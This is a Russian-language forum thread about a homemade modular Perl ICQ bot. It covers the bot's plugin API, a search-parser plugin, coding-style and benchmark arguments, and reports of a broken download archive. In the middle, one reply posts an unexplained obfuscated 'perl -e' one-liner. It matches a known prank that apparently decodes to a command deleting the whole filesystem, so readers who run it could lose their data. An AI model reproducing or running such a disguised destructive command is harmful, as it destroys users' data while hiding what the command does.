![]() |
[perl] Simple ICQ bot
Вложений: 1
http://www.mecelectrica.ru/images/icq.gif
простой ICQ бот на perl!, основным достоинством которого является модульность и легкость добавления новых функций. Бот состоит из основного скрипта, к которому можно подключать плагины на PERL, неограниченно расширяя его функционал. * Администрирование бота осуществляется по ICQ. * Легкость разработки и установки плагинов * Основной скрипт обладает множеством функций для упрощения разработки плагинов, благодаря чему разработка плагина фактически состоит только из написания непосредственно выполняемой им функции * Для добавления нового плагина боту нужно всего лишь поместить файл плагина в папку плагинов и перезапустить бота. * Огромные возможности плагинов * Возможности плагинов ограничены лишь возможностями языка perl для корректной работы необходим ActivePerl или любая ос *nix. в config.ini настройки (формат: имя = значение) : Цитата:
Цитата:
написание плагина любой программист может написать свой плагин для бота, придерживаясь спецификации языка программирования perl. бот передает вашему скрипту следующие переменные: * $rs - ответ сервера * $_UIN - номер отправителя * $_MSG - сообщение * @_MESG - масив слов в сообщении (пример: $_MSG = 'hello my name elwaux', тогда @_MESG[1]='hello', @_MESG[2]='my', @_MESG[3]='name', ...) * $admin - номер админа * $uin - номер бота * $password - пароль бота * также можно получить любое значение из config.ini: $CONFIG{имя} (пример: в config.ini: testing == nana, тогда чтоб получить значение имени testing: $CONFIG{'testing'}) также ви можете использовать готовие функции: * saveFile(file, text) - сохранить text в файл file * logIt(file, text) - ввести в лог file текст text * auth(uin, reason) - авторизация на номер uin с причиной reason * send_msg(uin, msg) - отправить сообщение msg на номер uin пример плагина hello_world.pl: (!helloword msg) - оправляет вам обратно текст msg Код:
send_msg($_UIN,@_MEST[1]);бот вам ответит: testing_my_first_plugin вот и все пока.. большая просьба ко всем кто скачал: отпишите здесь о том что вам понравилось или нет у бота, что бы вы хотели еще увидеть в нем, какие недостатки встретили.. и так далее..) рад всем ответам! |
хороший бот, на перле никогда не встречал
|
сам писал или основу брал?
|
Цитата:
|
заслужил +++++ :) не испытывал, но за старания и кроссплатформенность респект
|
Цитата:
*У perl'a огромные возможности #у этого кода нет |
Цитата:
|
Цитата:
|
Цитата:
P.S. желаю удачи и дальнейшего развития бота! |
Цитата:
upd: а может тебя моя фотокарточка раздражает? ^^ |
просто не мог не поставить +. + и даже 2 0.o ну я не богатый =)
ЗЫ, на винде пашет? И возможно его на хосте установить? В этом не шарю, извените за глупые вопросы, учусь.. |
Цитата:
|
Код:
perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' |
Цитата:
В общем eLWAux,Kaimi - как говорят сейчас,респект и уважуха,а ты Ил-2 либо жуй пыль которую оставляют они,либо прояви себя и к тебе потянуться. IMHO + поставил,огромное спс,скорее всего мне это не пригодиться,разве что для экспериментов. |
Цитата:
Кстати, в твоем коде часто наблюдаю конструкции типа die ... unless .... Как же такой православный кодер как ты может их использовать, если в "библии" пишут: * Just because you *CAN* do something a particular way doesn't mean that you *SHOULD* do it that way. Perl is designed to give you several ways to do anything, so consider picking the most readable one. For instance open(FOO,$foo) || die "Can't open $foo: $!"; is better than die "Can't open $foo: $!" unless open(FOO,$foo); |
Цитата:
www.activestate.com/store/activeperl/download бот не нуждаетса в установке! |
Kaimi, чуешь в чём соль-то?
Код:
#!/usr/bin/perlКод:
Benchmark: running code1, code2 for at least 10 CPU seconds... |
Неа
Цитата:
|
Не надо тут нам результаты замеров подделывать
Код:
Benchmark: running code1, code2 for at least 10 CPU seconds... |
Да вот сижу и во всю подделываю, кстати если разбить на отдельные файлы то линукс думает так:
[root@srv ~]# time perl 1.pl real 0m0.011s user 0m0.001s sys 0m0.010s [root@srv ~]# time perl 2.pl real 0m0.011s user 0m0.000s sys 0m0.011s |
хи, фаллометрия...
По делу: у меня скрипт пишет при запуске после приветствия Код:
Bad arg length for Socket::pack_sockaddr_in, length is 0, should be 4 at /usr/lib/perl/5.8/Socket.pm line 201. |
И сервер вывод в консоле подделывает(
http://s48.radikal.ru/i120/0901/39/196f5c5d8911.jpg Все, не буду больше спорить, Ил-2 - бог программирования на Perl, а я вообще не достоин касаться клавиатуры со своими знаниями. В топку программирование, пойду лучше сэмки погрызу и жигуля выпью |
Цитата:
|
!gogo parcer
'google' парсер
плагин мне стал нужен во время экзамена, когда в книжке небило теории, и в телефоне много траффика) http://s55.radikal.ru/i149/0902/d9/3903546b6454t.jpg Парсер поисковой системи gogo.ru (аналог google :) ) для установки плагина нужно отредактировать plugins.ini, и ДОБАВИТЬ там строчку: !google;google.pl !gogo <ваш запрос> в ответ увидете title сайта и ссилку на него! http://multi-up.com/54936 http://openfile.ru/192253/ http://depositfiles.com/files/0ijxnfv8w http://rapidshare.com/files/193305656/gogo.zip.html http://letitbit.net/download/823ac4924150/gogo.zip.html http://fileshare.in.ua/1841510 |
Проверку на инвиз прикрути, я код тут кидал :) Или в ПМ скину,если надо )
|
Респект! На перле еще не видел!
|
Здравствуйте, я тоже пишу бота на перле и хочу чтоб отправка сообщений производилась в отдельном потоке. Я создал очередь, поток. Но вот у меня вопрос как мне в этот поток передать переменную $oscar, которую я обьявляю и инициализирую в главном потоке так: $oscar = Net::OSCAR -> new();
Это нужно для того, чтобы отправлять сообщения. ПС. Использую оскар. |
И ещё, скачал ваш архив посмотреть, при распаковке выдаёт кучу ошибок, жалуется на несоотведствие контрольной суммы :(
|
Цитата:
в потоках должен быть видимый.. Цитата:
несоотведствие контрольной суммы с чем? |
у мну так же выдает что архив битый.
|
архив реально битый... у кого есть бот залейте заново плизз..
|
| Время: 17:27 |